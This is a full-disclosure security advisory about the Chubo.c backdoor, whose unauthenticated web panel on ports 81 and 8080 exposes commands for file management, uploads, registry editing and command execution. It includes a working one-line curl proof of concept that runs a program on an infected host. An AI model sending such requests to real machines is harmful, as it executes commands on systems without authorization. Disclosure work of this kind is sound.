full-disclosure - [FD] Backdoor.Win32.Chubo.c / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WQbeENWiEfb2Xq7yPCi4DcP17j1MZdnLYfJT4sSx32jCQ@mail.gmail.com>
Date: Sat, 26 Mar 2022 21:33:40 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Chubo.c / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/c16b04a9879896ef453a6deb13528087.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Chubo.c
Vulnerability: Unauthenticated Remote Command Execution
Family: Chubo
Type: PE32
MD5: c16b04a9879896ef453a6deb13528087
Vuln ID: MVID-2022-0527
Disclosure: 03/26/2022
Description: The malware listens on TCP port 81 and 8080. There is a HTML
web-panel that exposes the entire system and creates HTML links to run
commands made available by the backdoor.

Commands:

F="./?DRV=">LIST DRIVE</A></TD>
    <TD><A HREF="./?DIR=">LIST DIRECTRY</A></TD>
    <TD><A HREF="./?MF_=">MANAGE FILE</A></TD>
    <TD><A HREF="./?UPL=">UPLOAD FILE</A></TD> </TR>
<TR><TD><A HREF="./?EXE=">EXECUTE COMMAND</A></TD>
    <TD><A HREF="./?REG=">EDIT REGISTORY</A></TD>
    <TD><A HREF="./?SYS=">GET SYSTEM INFO</A></TD>
    <TD><A HREF="./?TGT=">SET PROXY TARGET</A></TD> </TR>
<TR><TD><A HREF="./?SSS=">START SCREEN SAVER</A></TD>
    <TD><A HREF="./?SND=">PLAY SOUND</A></TD>
    <TD><A HREF="./?BRW=">BROWSE URL</A></TD>
    <TD><A HREF="./?SCAN=">SCAN IP</A></TD>

Exploit/PoC:
C:\>curl http://x.x.x.x:81/?EXE=calc

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use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
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